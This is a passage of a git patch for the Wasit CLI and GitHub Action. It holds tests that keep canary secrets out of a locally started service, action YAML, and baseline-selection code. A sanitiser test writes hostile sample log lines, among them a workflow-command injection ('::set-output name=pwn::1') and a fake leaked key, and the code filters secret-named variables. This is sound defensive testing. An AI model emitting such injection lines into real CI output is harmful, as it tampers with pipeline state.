+writeFileSync(${JSON.stringify(pidFile)}, String(process.pid)); +http.createServer((req, res) => { + writeFileSync(${JSON.stringify(envFile)}, JSON.stringify(process.env)); + res.writeHead(402, { "payment-required": ${JSON.stringify(challengeHeader())} }); + res.end("{}"); +}).listen(${port}, "127.0.0.1"); +`, + ); + const config = await writeConfig(dir, { + baseUrl: `http://127.0.0.1:${port}`, + service: { start: `node ${JSON.stringify(script)}`, ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 15 } }, + }); + const canaries = { + STELLAR_PRIVATE_KEY: "canary-stellar-key", + EVM_PRIVATE_KEY: "canary-evm-key", + SVM_PRIVATE_KEY: "canary-svm-key", + MPP_PAYER_SECRET: "canary-mpp-payer", + COMMITMENT_SECRET_HEX: "canary-commitment", + WASIT_MAINNET_PAYER_SECRET: "canary-mainnet-payer", + WASIT_HEADER_X_API_KEY: "canary-header", + WASIT_RPC_URL: "https://rpc.example/canary-rpc-key", + }; + const result = await run({ config, start: true, json: true }, { ...canaries, KEEP_ME: "kept" }); + assert.equal(result.code, 0, result.stderr); + const seen = JSON.parse(await readFile(envFile, "utf-8")) as Record; + assert.equal(seen["KEEP_ME"], "kept"); + for (const name of Object.keys(canaries)) assert.equal(seen[name], undefined, `${name} reached the service`); + assert.ok(!JSON.stringify(seen).includes("canary")); + const pid = Number(await readFile(pidFile, "utf-8")); + const gone = await (async () => { + for (let i = 0; i < 60; i += 1) { + try { + process.kill(pid, 0); + } catch { + return true; + } + await new Promise((resolve) => setTimeout(resolve, 50)); + } + return false; + })(); + assert.equal(gone, true, "the service was stopped"); + assert.ok(existsSync(pidFile)); + }); + + it("exits 2 and stops the service when nothing answers in time", async () => { + const port = await freePort(); + const script = path.join(dir, "silent.mjs"); + const pidFile = path.join(dir, "silent.pid"); + await writeFile(script, `import { writeFileSync } from "node:fs"; writeFileSync(${JSON.stringify(pidFile)}, String(process.pid)); setInterval(() => {}, 1000);`); + const config = await writeConfig(dir, { + baseUrl: `http://127.0.0.1:${port}`, + service: { start: `node ${JSON.stringify(script)}`, ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 1 } }, + }); + const result = await run({ config, start: true }); + assert.equal(result.code, 2); + assert.match(result.stderr, /no answer/); + const pid = Number(await readFile(pidFile, "utf-8")); + await new Promise((resolve) => setTimeout(resolve, 200)); + assert.throws(() => process.kill(pid, 0), "the silent service is gone"); + }); + }); + + // The Action passes --start-if-local: the CLI decides whether the service is started, so one + // rule serves the laptop and the job. A deployed endpoint (even on mainnet) is only read. + describe("--start-if-local", () => { + it("without service.start it reads the configured baseUrl as it is, and says so", async () => { + paywall = await startPaywall(); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const result = await run({ config, startIfLocal: true }); + assert.equal(result.code, 0, result.stderr); + assert.equal(paywall.received.length, 1, "the endpoint was read"); + assert.match(result.stderr, /service\.start is not set/); + }); + + it("with service.start but an environment that is not on this machine, it does not start the service", async () => { + const marker = path.join(dir, "not-started.marker"); + const script = path.join(dir, "marker.mjs"); + await writeFile(script, `import { writeFileSync } from "node:fs"; writeFileSync(${JSON.stringify(marker)}, "1"); setInterval(() => {}, 1000);`); + const port = await freePort(); + // .invalid never resolves (RFC 2606): nothing is contacted, and the run has no verdict. + const config = await writeConfig(dir, { + baseUrl: "https://wasit-test.invalid", + service: { start: `node ${JSON.stringify(script)}`, ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 1 } }, + }); + const result = await run({ config, startIfLocal: true }); + assert.match(result.stderr, /not on this machine/); + assert.match(result.stderr, /https:\/\/wasit-test\.invalid/); + await new Promise((resolve) => setTimeout(resolve, 300)); + assert.equal(existsSync(marker), false, "service.start was not run"); + assert.equal(result.code, 2, "an unreachable endpoint is no verdict"); + }); + + it("with service.start and a loopback environment it starts the service, runs, and stops it", async () => { + const port = await freePort(); + const script = path.join(dir, "local-paywall.mjs"); + const pidFile = path.join(dir, "local-paywall.pid"); + await writeFile( + script, + `import http from "node:http"; +import { writeFileSync } from "node:fs"; +writeFileSync(${JSON.stringify(pidFile)}, String(process.pid)); +http.createServer((req, res) => { + res.writeHead(402, { "payment-required": ${JSON.stringify(challengeHeader())} }); + res.end("{}"); +}).listen(${port}, "127.0.0.1"); +`, + ); + const config = await writeConfig(dir, { + baseUrl: `http://127.0.0.1:${port}`, + service: { start: `node ${JSON.stringify(script)}`, ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 15 } }, + }); + const result = await run({ config, startIfLocal: true }); + assert.equal(result.code, 0, result.stderr); + const pid = Number(await readFile(pidFile, "utf-8")); + await new Promise((resolve) => setTimeout(resolve, 300)); + assert.throws(() => process.kill(pid, 0), "the service was stopped"); + }); + + it("asks to choose when --start and --start-if-local are both given", async () => { + paywall = await startPaywall(); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const result = await run({ config, start: true, startIfLocal: true }); + assert.equal(result.code, 2); + assert.match(result.stderr, /--start or --start-if-local/); + assert.equal(paywall.received.length, 0, "nothing was sent"); + }); + }); +}); diff --git a/packages/cli/test/unit/service.test.ts b/packages/cli/test/unit/service.test.ts new file mode 100644 index 0000000..22fed57 --- /dev/null +++ b/packages/cli/test/unit/service.test.ts @@ -0,0 +1,322 @@ +/** + * `startService`: the code behind `wasit run --start` (spec A8 #1, A-A02). + * + * Runs real child processes (small Node scripts written to a temporary + * directory) on 127.0.0.1. The child's environment is the point: the parent's + * environment here holds made-up keys, and none may reach the child. Process + * groups are POSIX; the tests that depend on them are skipped on Windows, where + * `startService` uses `taskkill /T /F` instead and has NOT been run (no Windows + * machine was available). + * + * No key is real, nothing leaves 127.0.0.1. + */ + +import assert from "node:assert/strict"; +import { existsSync } from "node:fs"; +import { mkdtemp, readFile, rm, writeFile } from "node:fs/promises"; +import net from "node:net"; +import { tmpdir } from "node:os"; +import path from "node:path"; +import { after, before, describe, it } from "node:test"; + +import { ServiceError, startService, type StartedService } from "../../src/service.js"; + +const POSIX = process.platform !== "win32"; + +/** A free port: bind 0, read it, close. Nothing else listens there for the length of a test. */ +async function freePort(): Promise { + return new Promise((resolve, reject) => { + const probe = net.createServer(); + probe.once("error", reject); + probe.listen(0, "127.0.0.1", () => { + const { port } = probe.address() as net.AddressInfo; + probe.close(() => resolve(port)); + }); + }); +} + +function alive(pid: number): boolean { + try { + process.kill(pid, 0); + return true; + } catch { + return false; + } +} + +async function waitUntil(condition: () => boolean, ms: number): Promise { + const end = Date.now() + ms; + while (Date.now() < end) { + if (condition()) return true; + await new Promise((resolve) => setTimeout(resolve, 25)); + } + return condition(); +} + +describe("startService", { skip: !POSIX && "needs POSIX process groups; not run on Windows" }, () => { + let dir: string; + const started: StartedService[] = []; + + before(async () => { + dir = await mkdtemp(path.join(tmpdir(), "wasit-service-")); + }); + after(async () => { + await Promise.all(started.map((service) => service.stop())); + await rm(dir, { recursive: true, force: true }); + }); + + /** A script that serves on `port`, answers `status`, writes its pid, and serves its environment at /env. */ + async function serverScript(name: string, options: { port: number; status?: number; delayMs?: number; ignoreTerm?: boolean }): Promise { + const file = path.join(dir, `${name}.mjs`); + await writeFile( + file, + `import http from "node:http"; +import { writeFileSync } from "node:fs"; +${options.ignoreTerm ? 'process.on("SIGTERM", () => {});' : ""} +writeFileSync(${JSON.stringify(path.join(dir, `${name}.pid`))}, String(process.pid)); +setTimeout(() => { + http.createServer((req, res) => { + if (req.url === "/env") { res.writeHead(200); res.end(JSON.stringify(process.env)); return; } + res.writeHead(${options.status ?? 200}); res.end("hello"); + }).listen(${options.port}, "127.0.0.1"); +}, ${options.delayMs ?? 0}); +`, + ); + return file; + } + + const logs = (): { lines: string[]; log: (line: string) => void } => { + const lines: string[] = []; + return { lines, log: (line) => lines.push(line) }; + }; + + it("starts the command, waits for the first answer, and stops it", async () => { + const port = await freePort(); + const script = await serverScript("basic", { port, delayMs: 400 }); + const { log } = logs(); + const before = Date.now(); + const service = await startService({ + command: `node ${JSON.stringify(script)}`, + ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 10 }, + env: process.env, + log, + }); + started.push(service); + assert.ok(Date.now() - before >= 300, "it waited for the service"); + assert.equal((await fetch(`http://127.0.0.1:${port}/`)).status, 200); + const pid = Number(await readFile(path.join(dir, "basic.pid"), "utf-8")); + assert.ok(alive(pid)); + await service.stop(); + assert.equal(await waitUntil(() => !alive(pid), 3000), true, "the service is gone"); + await assert.rejects(fetch(`http://127.0.0.1:${port}/`)); + }); + + it("counts any HTTP answer as ready, a 500 and a 404 included", async () => { + for (const status of [500, 404]) { + const port = await freePort(); + const script = await serverScript(`status-${status}`, { port, status }); + const service = await startService({ + command: `node ${JSON.stringify(script)}`, + ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 10 }, + env: process.env, + log: () => {}, + }); + started.push(service); + await service.stop(); + } + }); + + it("never gives the service a key, a header value or the RPC url: a made-up one of each in the parent", async () => { + const port = await freePort(); + const script = await serverScript("env", { port }); + const parent: Record = { + PATH: process.env["PATH"] ?? "", + HOME: dir, + KEEP_ME: "kept", + STELLAR_PAYEE_ADDRESS: "GPUBLICADDRESS", + STELLAR_PRIVATE_KEY: "canary-stellar-key", + EVM_PRIVATE_KEY: "canary-evm-key", + SVM_PRIVATE_KEY: "canary-svm-key", + MPP_PAYER_SECRET: "canary-mpp-payer", + COMMITMENT_SECRET_HEX: "canary-commitment", + WASIT_MAINNET_PAYER_SECRET: "canary-mainnet-payer", + WASIT_HEADER_X_API_KEY: "canary-header", + WASIT_HEADER_AUTHORIZATION: "canary-authorization", + WASIT_RPC_URL: "https://rpc.example/canary-rpc-key", + WASIT_SOMETHING_NEW: "canary-new", + stellar_private_key: "canary-lowercase", + }; + const service = await startService({ + command: `node ${JSON.stringify(script)}`, + ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 10 }, + env: parent, + log: () => {}, + }); + started.push(service); + const text = await (await fetch(`http://127.0.0.1:${port}/env`)).text(); + const seen = JSON.parse(text) as Record; + assert.equal(seen["KEEP_ME"], "kept", "the service still gets what it needs"); + assert.equal(seen["STELLAR_PAYEE_ADDRESS"], "GPUBLICADDRESS", "a payee address is not a key"); + for (const [name, value] of Object.entries(parent)) { + if (!name.toUpperCase().startsWith("WASIT_") && !/PRIVATE_KEY|SECRET/.test(name.toUpperCase())) continue; + assert.equal(seen[name], undefined, `${name} reached the service`); + assert.ok(!text.includes(value), `the value of ${name} reached the service`); + } + await service.stop(); + }); + + it("fails with a ServiceError, and leaves no process, when nothing answers in time", async () => { + const pidFile = path.join(dir, "silent.pid"); + const script = path.join(dir, "silent.mjs"); + await writeFile(script, `import { writeFileSync } from "node:fs"; writeFileSync(${JSON.stringify(pidFile)}, String(process.pid)); setInterval(() => {}, 1000);`); + const port = await freePort(); + const before = Date.now(); + await assert.rejects( + startService({ + command: `node ${JSON.stringify(script)}`, + ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 1 }, + env: process.env, + log: () => {}, + }), + (error: unknown) => error instanceof ServiceError && /no answer/i.test(error.message) && /1 second/.test(error.message), + ); + assert.ok(Date.now() - before < 8000); + const pid = Number(await readFile(pidFile, "utf-8")); + assert.equal(await waitUntil(() => !alive(pid), 3000), true, "the silent service was stopped"); + }); + + it("fails at once, with the exit code, when the service exits before it answers", async () => { + const port = await freePort(); + const before = Date.now(); + await assert.rejects( + startService({ + command: `node -e "process.stderr.write('boom\\n'); process.exit(3)"`, + ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 30 }, + env: process.env, + log: () => {}, + }), + (error: unknown) => error instanceof ServiceError && /exited/.test(error.message) && /3/.test(error.message), + ); + assert.ok(Date.now() - before < 5000, "it did not wait for the whole timeout"); + }); + + it("stops a process the shell left in the background, not only the shell", async () => { + const port = await freePort(); + const script = await serverScript("background", { port }); + const service = await startService({ + command: `node ${JSON.stringify(script)} & wait`, + ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 10 }, + env: process.env, + log: () => {}, + }); + started.push(service); + const pid = Number(await readFile(path.join(dir, "background.pid"), "utf-8")); + assert.ok(alive(pid)); + await service.stop(); + assert.equal(await waitUntil(() => !alive(pid), 3000), true, "the backgrounded service is gone"); + }); + + it("kills a service that ignores SIGTERM, after the grace period", async () => { + const port = await freePort(); + const script = await serverScript("stubborn", { port, ignoreTerm: true }); + const service = await startService({ + command: `node ${JSON.stringify(script)}`, + ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 10 }, + env: process.env, + log: () => {}, + stopGraceMs: 300, + }); + started.push(service); + const pid = Number(await readFile(path.join(dir, "stubborn.pid"), "utf-8")); + await service.stop(); + assert.equal(await waitUntil(() => !alive(pid), 3000), true, "the stubborn service is gone"); + }); + + it("can be stopped twice, and puts the signal handlers back", async () => { + const before = ["SIGINT", "SIGTERM", "SIGHUP"].map((signal) => process.listenerCount(signal)); + const port = await freePort(); + const script = await serverScript("twice", { port }); + const service = await startService({ + command: `node ${JSON.stringify(script)}`, + ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 10 }, + env: process.env, + log: () => {}, + }); + assert.ok(process.listenerCount("SIGTERM") > before[1]!, "it listens for signals while the service runs"); + await service.stop(); + await service.stop(); + assert.deepEqual(["SIGINT", "SIGTERM", "SIGHUP"].map((signal) => process.listenerCount(signal)), before); + }); + + it("refuses a ready url that is not on this machine, before it starts anything", async () => { + const marker = path.join(dir, "should-not-exist"); + await assert.rejects( + startService({ + command: `node -e "require('fs').writeFileSync(${JSON.stringify(marker)}, 'x')"`, + ready: { url: "http://example.com/", timeoutSeconds: 5 }, + env: process.env, + log: () => {}, + }), + (error: unknown) => error instanceof ServiceError && /this machine/.test(error.message), + ); + await new Promise((resolve) => setTimeout(resolve, 300)); + assert.equal(existsSync(marker), false); + }); + + it("passes the service's output on with a prefix, through the sanitiser: no escape character, no line that starts ::", async () => { + const port = await freePort(); + const script = path.join(dir, "chatty.mjs"); + await writeFile( + script, + `import http from "node:http"; +console.log("hello \\u001b[2J there"); +console.log("::set-output name=pwn::1"); +console.error("##[warning]careless STELLAR_KEY=S${"A".repeat(55)}"); +http.createServer((q, r) => { r.writeHead(200); r.end("x"); }).listen(${port}, "127.0.0.1"); +`, + ); + const { lines, log } = logs(); + const service = await startService({ + command: `node ${JSON.stringify(script)}`, + ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 10 }, + env: process.env, + log, + }); + started.push(service); + await waitUntil(() => lines.length >= 3, 2000); + await service.stop(); + const text = lines.join("\n"); + assert.ok(lines.length >= 3); + for (const line of lines) assert.ok(line.startsWith("[service] "), line); + assert.ok(!text.includes("\u001b")); + assert.ok(!text.includes("A".repeat(55))); + for (const line of lines) assert.ok(!/^(::|##\[)/.test(line)); + assert.match(text, /hello \[2J there/); + }); + + it("stops printing a service's output after the cap, and the service keeps running", async () => { + const port = await freePort(); + const script = path.join(dir, "flood.mjs"); + await writeFile( + script, + `import http from "node:http"; +for (let i = 0; i < 400; i += 1) console.log("line " + i + " " + "x".repeat(40)); +http.createServer((q, r) => { r.writeHead(200); r.end("x"); }).listen(${port}, "127.0.0.1"); +`, + ); + const { lines, log } = logs(); + const service = await startService({ + command: `node ${JSON.stringify(script)}`, + ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 10 }, + env: process.env, + log, + maxLogBytes: 2000, + }); + started.push(service); + await new Promise((resolve) => setTimeout(resolve, 200)); + assert.ok(lines.length < 100, `printed ${lines.length} lines`); + assert.ok(lines.some((line) => /output cut/.test(line))); + assert.equal((await fetch(`http://127.0.0.1:${port}/`)).status, 200, "the service was not blocked"); + await service.stop(); + }); +}); From fb2a18aef7ca1e0f853c032e734e0fc507f09f22 Mon Sep 17 00:00:00 2001 From: Muhammad Dzakwan Najmi Date: Sun, 15 Nov 2026 08:46:08 +0800 Subject: [PATCH 4/7] feat(action): a GitHub Action for the read-only checks A composite action (wasit-dev/wasit/action@) that a builder adds to a workflow. On a pull request it builds Wasit from its own ref with the locked dependencies, starts the service the config names, runs the read-only checks (X402-01 to 05), and shows the result as the job result and as one comment that is updated on each push, with what changed since main. - The job result is the exit code of wasit run. The report step always runs; a run that left no report replaces the comment with "no verdict". - The token reaches only the two steps that call gh, never the step that starts the service. Inputs reach the scripts as environment variables, never as text inside a run block. pull_request_target is refused. - The baseline is the artifact of the latest successful push run of this workflow on the default branch, from this repository, chosen by run id. A run from a pull request or a fork is never used. - The comment is found by its marker and by github-actions[bot]; a 403 on a fork's token is logged and does not fail the job. - tier: payment is refused in this version. Linux runners only. - Offline tests for the scripts (gh injected) and the YAML, wired into npm test and CI. A real workflow run is not part of this commit. - yaml is an explicit devDependency at the version the lockfile already had. --- .github/workflows/ci.yml | 6 + action/action.yml | 124 +++++++++ action/examples/wasit.yml | 50 ++++ action/scripts/baseline.mjs | 161 +++++++++++ action/scripts/comment.mjs | 174 ++++++++++++ action/scripts/common.mjs | 36 +++ action/scripts/gh.mjs | 39 +++ action/scripts/inputs.mjs | 146 ++++++++++ action/scripts/wasit.mjs | 108 ++++++++ action/test/action-yaml.test.mjs | 262 ++++++++++++++++++ action/test/baseline.test.mjs | 293 ++++++++++++++++++++ action/test/comment.test.mjs | 301 +++++++++++++++++++++ action/test/inputs.test.mjs | 144 ++++++++++ action/test/wasit-script.test.mjs | 431 ++++++++++++++++++++++++++++++ package-lock.json | 3 +- package.json | 6 +- 16 files changed, 2281 insertions(+), 3 deletions(-) create mode 100644 action/action.yml create mode 100644 action/examples/wasit.yml create mode 100644 action/scripts/baseline.mjs create mode 100644 action/scripts/comment.mjs create mode 100644 action/scripts/common.mjs create mode 100644 action/scripts/gh.mjs create mode 100644 action/scripts/inputs.mjs create mode 100644 action/scripts/wasit.mjs create mode 100644 action/test/action-yaml.test.mjs create mode 100644 action/test/baseline.test.mjs create mode 100644 action/test/comment.test.mjs create mode 100644 action/test/inputs.test.mjs create mode 100644 action/test/wasit-script.test.mjs diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 72f7af7..a10e80f 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -83,6 +83,12 @@ jobs: - name: Test @wasit-dev/server run: npm run test -w packages/server + # The Action's scripts and its action.yml, offline: the gh call is + # injected, and four cases run the built CLI against a service on + # 127.0.0.1. It needs the builds above. + - name: Test the Action + run: npm run test:action + # Everything above this line runs against the working tree, where # npm has deduplicated one dependency graph across all three # workspaces. That is not the tree an installer gets, so a green diff --git a/action/action.yml b/action/action.yml new file mode 100644 index 0000000..a00f927 --- /dev/null +++ b/action/action.yml @@ -0,0 +1,124 @@ +name: Wasit +description: >- + Runs Wasit's read-only x402 challenge checks against your service inside the + job, comments the result on the pull request, and compares it with main. + Linux runners. Needs Node 22 or later (add actions/setup-node before this + step). The payment tier is not available in this version. + +inputs: + config: + description: Path of the wasit.config.json to run, relative to the working directory. + required: false + default: wasit.config.json + environment: + description: The environment of the config to run. Default is the config's defaultEnvironment, else its only environment. + required: false + default: "" + tier: + description: >- + read-only runs the unpaid challenge checks (X402-01 to X402-05): they send + no payment and sign nothing. payment is not available in this version and + is refused. + required: false + default: read-only + endpoints: + description: Names of the endpoints to run, separated by commas or line breaks. Default is every endpoint of the config. + required: false + default: "" + +runs: + using: composite + steps: + # Each step gets only what it needs, as env. No input and no event value is + # written into a run block: they reach the scripts as environment variables. + # The token (GH_TOKEN) is given to the two steps that call gh and to no other, + # and never to the step that starts the service. + + - name: Check the runner + shell: bash + run: | + if [ "$RUNNER_OS" != "Linux" ]; then + echo "Wasit: this action runs on Linux runners in this version." >&2 + exit 2 + fi + if ! command -v node >/dev/null 2>&1; then + echo "Wasit: Node 22 or later is needed and node was not found. Add actions/setup-node with node-version: 22 before this step." >&2 + exit 2 + fi + major="$(node -p 'process.versions.node.split(".")[0]')" + if [ "$major" -lt 22 ]; then + echo "Wasit: Node 22 or later is needed and this runner has Node $major. Add actions/setup-node with node-version: 22 before this step." >&2 + exit 2 + fi + + - name: Check the inputs + shell: bash + env: + ACTION_PATH: ${{ github.action_path }} + INPUT_CONFIG: ${{ inputs.config }} + INPUT_ENVIRONMENT: ${{ inputs.environment }} + INPUT_TIER: ${{ inputs.tier }} + INPUT_ENDPOINTS: ${{ inputs.endpoints }} + run: node "$ACTION_PATH/scripts/wasit.mjs" check + + # Wasit is built from the ref this action was fetched at, with the lockfile + # of that ref: one pin covers the action and the CLI. + - name: Install Wasit + shell: bash + env: + ACTION_PATH: ${{ github.action_path }} + run: | + cd "$ACTION_PATH/.." + npm ci --ignore-scripts --no-audit --no-fund + npm run build -w packages/core + npm run build -w packages/cli + npm run build -w packages/server + + - name: Find the baseline + id: baseline + shell: bash + env: + ACTION_PATH: ${{ github.action_path }} + GH_TOKEN: ${{ github.token }} + run: node "$ACTION_PATH/scripts/baseline.mjs" + + # The job's result is the exit code of this step. It has no condition and no + # continue-on-error, and it is not given the token. + - name: Run Wasit + id: run + shell: bash + env: + ACTION_PATH: ${{ github.action_path }} + INPUT_CONFIG: ${{ inputs.config }} + INPUT_ENVIRONMENT: ${{ inputs.environment }} + INPUT_TIER: ${{ inputs.tier }} + INPUT_ENDPOINTS: ${{ inputs.endpoints }} + BASELINE_PATH: ${{ steps.baseline.outputs.path }} + run: node "$ACTION_PATH/scripts/wasit.mjs" run + + - name: Write the report + if: ${{ always() && steps.run.conclusion != 'skipped' }} + shell: bash + env: + ACTION_PATH: ${{ github.action_path }} + BASELINE_PATH: ${{ steps.baseline.outputs.path }} + run: node "$ACTION_PATH/scripts/wasit.mjs" report + + - name: Comment on the pull request + if: ${{ always() && steps.run.conclusion != 'skipped' && github.event_name == 'pull_request' }} + shell: bash + env: + ACTION_PATH: ${{ github.action_path }} + GH_TOKEN: ${{ github.token }} + WASIT_COMMENT_FILE: ${{ runner.temp }}/wasit/comment.md + run: node "$ACTION_PATH/scripts/comment.mjs" + + # Pin to a commit SHA before release (not verified offline); a version tag + # is used here and no SHA is invented. + - name: Upload the baseline + if: ${{ always() && steps.run.conclusion != 'skipped' && github.event_name == 'push' && github.ref == format('refs/heads/{0}', github.event.repository.default_branch) }} + uses: actions/upload-artifact@v4 + with: + name: wasit-baseline + path: ${{ runner.temp }}/wasit/baseline-next.json + if-no-files-found: warn diff --git a/action/examples/wasit.yml b/action/examples/wasit.yml new file mode 100644 index 0000000..7c8c5f1 --- /dev/null +++ b/action/examples/wasit.yml @@ -0,0 +1,50 @@ +# Wasit on every pull request and every push to main. +# +# What this does: starts your x402 service inside the job (service.start in +# wasit.config.json), runs Wasit's read-only challenge checks against it, +# comments the result on the pull request, and compares it with the last run on +# main. The job named Wasit is the check on the pull request. +# +# Replace below with a release tag or a full commit SHA of +# the Wasit repository. Do not use a branch name. +# +# Wasit needs Node 22 or later and does not install it: keep the setup-node step. +# +# A header your service needs to issue a challenge: set it with WASIT_HEADER_ +# in the env: of the Wasit step, from a secret, for example +# env: +# WASIT_HEADER_X_API_KEY: ${{ secrets.X_API_KEY }} +# The service Wasit starts is not given that variable, and neither is it given +# the key variables or WASIT_RPC_URL. Never put a key in wasit.config.json. +# +# Do not use pull_request_target. It would give the code of a pull request the +# token and the secrets of your repository. + +name: Wasit + +on: + pull_request: + push: + branches: [main] + +permissions: + contents: read + pull-requests: write + actions: read + +jobs: + wasit: + name: Wasit + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + persist-credentials: false + + - uses: actions/setup-node@v4 + with: + node-version: 22 + + - uses: wasit-dev/wasit/action@ + with: + config: wasit.config.json diff --git a/action/scripts/baseline.mjs b/action/scripts/baseline.mjs new file mode 100644 index 0000000..485d6b0 --- /dev/null +++ b/action/scripts/baseline.mjs @@ -0,0 +1,161 @@ +/** + * Choosing the baseline for a run (spec A5, A8 #4, A-A05). + * + * The RUN is chosen first: the latest successful `push` run of this workflow on + * the default branch, from this repository. Only then is that run's + * `wasit-baseline` artifact downloaded, by run id. Never "the newest artifact + * with that name": a pull request run (a fork's too, which runs the fork's copy + * of the workflow file) can upload an artifact with that name, and a fork can + * have a branch called main. + * + * Whether the file is a report, and whether it may be compared, is the CLI's to + * say (core `readBaseline`); this script only picks and downloads. It never fails + * the job: no baseline is a state the comment already explains. + */ + +import { mkdir, readdir } from "node:fs/promises"; +import { appendFile, readFileSync } from "node:fs"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; + +import { REPOSITORY, api, oneLine, positiveInteger } from "./common.mjs"; +import { realGh } from "./gh.mjs"; + +/** The name the baseline is uploaded under. */ +export const BASELINE_ARTIFACT = "wasit-baseline"; + +/** + * Which finished runs may be a baseline. Only 'success': a run that failed or + * was cancelled is not the state of main to compare with. + */ +export const ACCEPTED_CONCLUSIONS = Object.freeze(["success"]); + +const sameName = (a, b) => typeof a === "string" && typeof b === "string" && a.toLowerCase() === b.toLowerCase(); + +/** + * The run to take the baseline from, out of the runs the API listed. + * + * @param {unknown[] | undefined} runs + * @param {{ repository: string, defaultBranch: string, workflowId: number, currentRunId: number }} context + */ +export function selectBaselineRun(runs, context) { + const eligible = (Array.isArray(runs) ? runs : []).filter( + (run) => + run !== null && + typeof run === "object" && + Number.isSafeInteger(run.id) && + run.id !== context.currentRunId && + run.event === "push" && + run.head_branch === context.defaultBranch && + run.status === "completed" && + ACCEPTED_CONCLUSIONS.includes(run.conclusion) && + run.workflow_id === context.workflowId && + sameName(run.head_repository?.full_name, context.repository) && + sameName(run.repository?.full_name, context.repository), + ); + const time = (run) => Date.parse(run.created_at) || 0; + return eligible.sort((a, b) => time(b) - time(a) || b.id - a.id)[0]; +} + +/** + * Finds and downloads the baseline. + * + * @param {{ gh: Function, repository: string, runId: number | string, directory: string, defaultBranch?: string, log?: (line: string) => void }} options + * @returns {Promise<{ path?: string }>} the downloaded file, if there is one + */ +export async function findBaseline({ gh, repository, runId, directory, defaultBranch, log = console.log }) { + const none = (reason) => { + log(`Wasit: no baseline (${reason}). The comment will say there is nothing to compare with.`); + return {}; + }; + + const currentRunId = positiveInteger(runId); + if (typeof repository !== "string" || !REPOSITORY.test(repository) || currentRunId === undefined) { + return none("the repository or the run id is not what a workflow gives"); + } + + try { + const branch = defaultBranch ?? (await api(gh, `repos/${repository}`)).default_branch; + if (typeof branch !== "string" || !/^[A-Za-z0-9._/-]{1,200}$/.test(branch)) return none("the default branch is unknown"); + + const workflowId = positiveInteger((await api(gh, `repos/${repository}/actions/runs/${currentRunId}`)).workflow_id); + if (workflowId === undefined) return none("this run does not name its workflow"); + + // `status=success` keeps the newest successful runs on the first page of a busy repository. + const conclusion = ACCEPTED_CONCLUSIONS.length === 1 ? `&status=${ACCEPTED_CONCLUSIONS[0]}` : ""; + const listing = await api( + gh, + `repos/${repository}/actions/workflows/${workflowId}/runs?branch=${encodeURIComponent(branch)}&event=push${conclusion}&per_page=50`, + ); + const chosen = selectBaselineRun(listing.workflow_runs, { repository, defaultBranch: branch, workflowId, currentRunId }); + if (chosen === undefined) return none(`no successful push run of this workflow on ${oneLine(branch, 60)} yet`); + + const artifacts = await api(gh, `repos/${repository}/actions/runs/${chosen.id}/artifacts?per_page=100&name=${BASELINE_ARTIFACT}`); + const found = (Array.isArray(artifacts.artifacts) ? artifacts.artifacts : []) + .filter( + (artifact) => + artifact?.name === BASELINE_ARTIFACT && + artifact.expired !== true && + (artifact.workflow_run?.id === undefined || artifact.workflow_run.id === chosen.id), + ) + .sort((a, b) => (Date.parse(b.created_at) || 0) - (Date.parse(a.created_at) || 0))[0]; + if (found === undefined) return none(`run ${chosen.id} has no ${BASELINE_ARTIFACT} artifact, or it has expired`); + + await mkdir(directory, { recursive: true }); + const download = await gh(["run", "download", String(chosen.id), "--repo", repository, "--name", BASELINE_ARTIFACT, "--dir", directory]); + if (download.code !== 0) return none(`the download failed: ${oneLine(download.stderr)}`); + + const files = (await readdir(directory)).filter((name) => name.endsWith(".json")).sort(); + if (files.length === 0) return none("the artifact held no JSON file"); + log(`Wasit: baseline from run ${chosen.id} on ${oneLine(branch, 60)}.`); + return { path: path.join(directory, files[0]) }; + } catch (error) { + return none(oneLine(error instanceof Error ? error.message : error)); + } +} + +/** + * The step: reads the workflow's environment, finds the baseline, writes + * `path=` (empty when there is none) to the step output. Always exits 0. + * + * @param {Record} env + * @param {{ gh?: Function, log?: (line: string) => void }} deps + */ +export async function main(env = process.env, deps = {}) { + const log = deps.log ?? ((line) => console.log(line)); + let result = {}; + try { + const gh = deps.gh ?? realGh(env); + let defaultBranch; + try { + const event = JSON.parse(readFileSync(env["GITHUB_EVENT_PATH"] ?? "", "utf-8")); + if (typeof event?.repository?.default_branch === "string") defaultBranch = event.repository.default_branch; + } catch { + // The event file may be absent or have no repository (a schedule): findBaseline asks the API. + } + const temp = env["RUNNER_TEMP"]; + if (typeof temp !== "string" || !path.isAbsolute(temp)) { + log("Wasit: no baseline (RUNNER_TEMP is not set)."); + } else { + result = await findBaseline({ + gh, + repository: env["GITHUB_REPOSITORY"], + runId: env["GITHUB_RUN_ID"], + directory: path.join(temp, "wasit", "baseline"), + ...(defaultBranch === undefined ? {} : { defaultBranch }), + log, + }); + } + } catch (error) { + log(`Wasit: no baseline (${oneLine(error instanceof Error ? error.message : error)}).`); + } + const output = env["GITHUB_OUTPUT"]; + if (typeof output === "string" && output !== "") { + await new Promise((resolve) => appendFile(output, `path=${result.path ?? ""}\n`, () => resolve(undefined))); + } + return 0; +} + +if (process.argv[1] !== undefined && fileURLToPath(import.meta.url) === path.resolve(process.argv[1])) { + process.exitCode = await main(process.env); +} diff --git a/action/scripts/comment.mjs b/action/scripts/comment.mjs new file mode 100644 index 0000000..1a73361 --- /dev/null +++ b/action/scripts/comment.mjs @@ -0,0 +1,174 @@ +/** + * The pull request comment (spec A4 step 5, A8 #8): one comment, found by its + * marker and updated on each push. + * + * - 